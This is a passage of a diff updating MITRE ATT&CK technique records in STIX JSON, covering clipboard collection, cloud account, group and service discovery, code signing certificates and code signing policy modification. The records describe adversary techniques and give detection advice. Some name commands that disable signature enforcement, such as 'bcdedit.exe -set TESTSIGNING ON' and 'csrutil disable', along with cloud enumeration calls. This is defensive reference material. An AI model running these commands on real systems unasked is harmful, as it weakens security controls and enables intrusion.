establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c", "type": "attack-pattern", "kill_chain_phases": [ @@ -3996,7 +4089,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T03:52:10.774Z", + "modified": "2021-04-15T03:22:14.288Z", "created": "2020-10-02T16:47:16.719Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -4006,10 +4099,18 @@ ] }, { - "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Clipboard Data", - "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)", + "created": "2017-05-31T21:31:25.967Z", + "modified": "2020-04-23T18:35:58.230Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "type": "attack-pattern", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -4032,29 +4133,22 @@ "source_name": "Operating with EmPyre" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)", + "name": "Clipboard Data", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "x_mitre_version": "1.1", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "collection" - } - ], - "modified": "2020-04-23T18:35:58.230Z", - "created": "2017-05-31T21:31:25.967Z", - "x_mitre_is_subtechnique": false, + "x_mitre_detection": "Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.", "x_mitre_platforms": [ "Linux", "Windows", "macOS" ], - "x_mitre_detection": "Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.", - "x_mitre_data_sources": [ - "API monitoring" - ], - "x_mitre_version": "1.1" + "x_mitre_is_subtechnique": false }, { "external_references": [ @@ -4103,30 +4197,26 @@ "phase_name": "persistence" } ], - "modified": "2020-03-24T12:44:27.995Z", + "modified": "2021-03-16T12:47:00.192Z", "created": "2020-01-29T17:32:30.711Z", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_detection": "Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.", "x_mitre_data_sources": [ - "Office 365 audit logs", - "Stackdriver logs", - "Azure activity logs", - "AWS CloudTrail logs" + "User Account: User Account Creation" ], "x_mitre_contributors": [ "Praetorian", "Microsoft Threat Intelligence Center (MSTIC)" ], "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure", + "Azure AD", "Office 365", - "Azure AD" + "IaaS", + "Google Workspace" ] }, { @@ -4186,32 +4276,27 @@ "phase_name": "discovery" } ], - "modified": "2020-08-13T16:53:55.390Z", + "modified": "2021-03-16T12:54:41.133Z", "created": "2020-02-21T21:08:36.570Z", "x_mitre_contributors": [ "Praetorian" ], "x_mitre_data_sources": [ - "Stackdriver logs", - "AWS CloudTrail logs", - "Azure activity logs", - "Office 365 account logs", - "Process monitoring", - "Process command-line parameters" + "User Account: User Account Metadata", + "Command: Command Execution" ], "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure", - "Office 365", "Azure AD", - "SaaS" + "Office 365", + "SaaS", + "IaaS", + "Google Workspace" ] }, { @@ -4263,21 +4348,18 @@ "phase_name": "initial-access" } ], - "modified": "2020-10-19T16:01:22.090Z", + "modified": "2021-03-16T12:45:15.399Z", "created": "2020-03-13T20:36:57.378Z", "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure", - "SaaS", "Azure AD", - "Office 365" + "Office 365", + "SaaS", + "IaaS", + "Google Workspace" ], "x_mitre_data_sources": [ - "Azure activity logs", - "Authentication logs", - "AWS CloudTrail logs", - "Stackdriver logs" + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" ], "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.", "x_mitre_permissions_required": [ @@ -4285,7 +4367,7 @@ "Administrator" ], "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { "external_references": [ @@ -4313,6 +4395,11 @@ "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/", "source_name": "Black Hills Red Teaming MS AD Azure, 2018" + }, + { + "source_name": "Google Cloud Identity API Documentation", + "url": "https://cloud.google.com/identity/docs/reference/rest", + "description": "Google. (n.d.). Retrieved March 16, 2021." } ], "object_marking_refs": [ @@ -4320,7 +4407,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Cloud Groups", - "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command az ad user get-member-groups will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)", + "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)", "id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", "type": "attack-pattern", "kill_chain_phases": [ @@ -4329,31 +4416,27 @@ "phase_name": "discovery" } ], - "modified": "2020-10-08T17:34:39.077Z", + "modified": "2021-03-30T12:42:46.315Z", "created": "2020-02-21T21:15:33.222Z", "x_mitre_data_sources": [ - "GCP audit logs", - "Stackdriver logs", - "AWS CloudTrail logs", - "Azure activity logs", - "Office 365 account logs", - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Group: Group Enumeration", + "Group: Group Metadata", + "Application Log: Application Log Content" ], "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ - "Office 365", "Azure AD", - "GCP", + "Office 365", "SaaS", - "Azure", - "AWS" + "IaaS", + "Google Workspace" ] }, { @@ -4408,27 +4491,29 @@ "phase_name": "discovery" } ], - "modified": "2020-09-17T16:41:23.267Z", + "modified": "2021-03-08T10:33:02.163Z", "created": "2020-08-20T17:51:25.671Z", "x_mitre_contributors": [ "Praetorian" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "x_mitre_data_sources": [ - "GCP audit logs", - "Stackdriver logs", - "AWS CloudTrail logs", - "Azure activity logs" + "Instance: Instance Metadata", + "Instance: Instance Enumeration", + "Snapshot: Snapshot Metadata", + "Snapshot: Snapshot Enumeration", + "Cloud Storage: Cloud Storage Metadata", + "Cloud Storage: Cloud Storage Enumeration", + "Volume: Volume Metadata", + "Volume: Volume Enumeration" ], "x_mitre_platforms": [ - "AWS", - "Azure", - "GCP" + "IaaS" ] }, { @@ -4453,7 +4538,7 @@ "id": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f", "revoked": true, "type": "attack-pattern", - "modified": "2020-02-11T18:48:48.609Z", + "modified": "2021-03-08T10:33:01.542Z", "created": "2019-09-04T14:41:32.317Z" }, { @@ -4493,23 +4578,19 @@ "phase_name": "credential-access" } ], - "modified": "2020-10-15T19:39:34.817Z", + "modified": "2021-03-31T19:41:06.948Z", "created": "2020-02-11T18:47:46.619Z", "x_mitre_contributors": [ "Praetorian" ], "x_mitre_data_sources": [ - "Authentication logs", - "AWS CloudTrail logs", - "Azure activity logs" + "User Account: User Account Authentication" ], - "x_mitre_detection": "Monitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\n", - "x_mitre_version": "1.1", + "x_mitre_detection": "Monitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure" + "IaaS" ] }, { @@ -4544,48 +4625,29 @@ "phase_name": "discovery" } ], - "modified": "2020-07-14T19:19:00.966Z", + "modified": "2021-03-16T12:56:36.098Z", "created": "2019-08-30T18:11:24.582Z", "x_mitre_is_subtechnique": false, "x_mitre_detection": "Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)", "x_mitre_data_sources": [ - "Office 365 audit logs", - "Azure activity logs", - "Stackdriver logs", - "AWS CloudTrail logs" + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" ], "x_mitre_permissions_required": [ "User" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_contributors": [ "Praetorian" ], "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure", "Azure AD", - "Office 365" + "Office 365", + "IaaS", + "Google Workspace" ] }, { - "created": "2019-08-30T13:01:10.120Z", - "modified": "2020-06-23T14:31:41.758Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "discovery" - } - ], - "type": "attack-pattern", - "id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db", - "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)", - "name": "Cloud Service Discovery", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -4613,29 +4675,43 @@ "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019." } ], - "x_mitre_platforms": [ - "AWS", - "GCP", - "Azure", - "Azure AD", - "Office 365", - "SaaS" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Cloud Service Discovery", + "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)", + "id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "modified": "2021-03-16T12:57:03.837Z", + "created": "2019-08-30T13:01:10.120Z", + "x_mitre_is_subtechnique": false, + "x_mitre_detection": "Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.", + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Metadata", + "Cloud Service: Cloud Service Enumeration" + ], + "x_mitre_version": "1.2", + "x_mitre_permissions_required": [ + "User" ], "x_mitre_contributors": [ "Suzy Schapperle - Microsoft Azure Red Team", "Praetorian" ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_version": "1.1", - "x_mitre_data_sources": [ - "Azure activity logs", - "Stackdriver logs", - "AWS CloudTrail logs" - ], - "x_mitre_detection": "Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.", - "x_mitre_is_subtechnique": false + "x_mitre_platforms": [ + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Google Workspace" + ] }, { "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", @@ -4712,7 +4788,7 @@ "modified": "2020-02-10T19:51:01.601Z", "created": "2020-02-05T16:27:37.784Z", "x_mitre_data_sources": [ - "Binary file metadata" + "File: File Metadata" ], "x_mitre_defense_bypassed": [ "Windows User Account Control" @@ -4743,7 +4819,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Code Signing Certificates", - "description": "Before compromising a victim, adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.", + "description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.", "id": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf", "type": "attack-pattern", "kill_chain_phases": [ @@ -4752,7 +4828,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-15T01:15:54.945Z", + "modified": "2021-04-15T03:06:56.855Z", "created": "2020-10-01T01:41:08.652Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "x_mitre_version": "1.0", @@ -4762,6 +4838,22 @@ ] }, { + "created": "2020-10-01T02:11:47.237Z", + "modified": "2021-04-15T03:13:16.259Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", + "description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.", + "name": "Code Signing Certificates", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -4774,34 +4866,115 @@ "source_name": "Wikipedia Code Signing" } ], + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)." + }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1553.006", + "url": "https://attack.mitre.org/techniques/T1553/006" + }, + { + "source_name": "Microsoft DSE June 2017", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN", + "description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021." + }, + { + "source_name": "Apple Disable SIP", + "url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection", + "description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021." + }, + { + "source_name": "Microsoft Unsigned Driver Apr 2017", + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test", + "description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021." + }, + { + "source_name": "Microsoft TESTSIGNING Feb 2021", + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option", + "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021." + }, + { + "source_name": "FireEye HIKIT Rootkit Part 2", + "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html", + "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020." + }, + { + "source_name": "GitHub Turla Driver Loader", + "url": "https://github.com/hfiref0x/TDL", + "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021." + }, + { + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014" + }, + { + "source_name": "Unit42 AcidBox June 2020", + "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", + "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021." + } + ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Code Signing Certificates", - "description": "Before compromising a victim, adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.", - "id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", + "name": "Code Signing Policy Modification", + "description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)", + "id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", "type": "attack-pattern", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", - "phase_name": "resource-development" + "phase_name": "defense-evasion" } ], - "modified": "2020-10-22T18:22:21.007Z", - "created": "2020-10-01T02:11:47.237Z", - "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", + "modified": "2021-04-26T15:41:39.155Z", + "created": "2021-04-23T01:04:57.161Z", + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_contributors": [ + "Abel Morales, Exabeam" + ], + "x_mitre_defense_bypassed": [ + "Application control", + "User Mode Signature Validation", + "Digital Certificate Validation" + ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], "x_mitre_platforms": [ - "PRE" + "Windows", + "macOS" ] }, { - "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Command and Scripting Interpreter", - "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.", + "created": "2017-05-31T21:30:49.546Z", + "modified": "2021-04-27T19:21:06.164Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "type": "attack-pattern", + "revoked": false, + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -4809,38 +4982,29 @@ "url": "https://attack.mitre.org/techniques/T1059" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "revoked": false, - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "modified": "2020-10-22T16:43:39.362Z", - "created": "2017-05-31T21:30:49.546Z", - "x_mitre_is_subtechnique": false, - "x_mitre_remote_support": false, - "x_mitre_permissions_required": [ - "User" + "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through 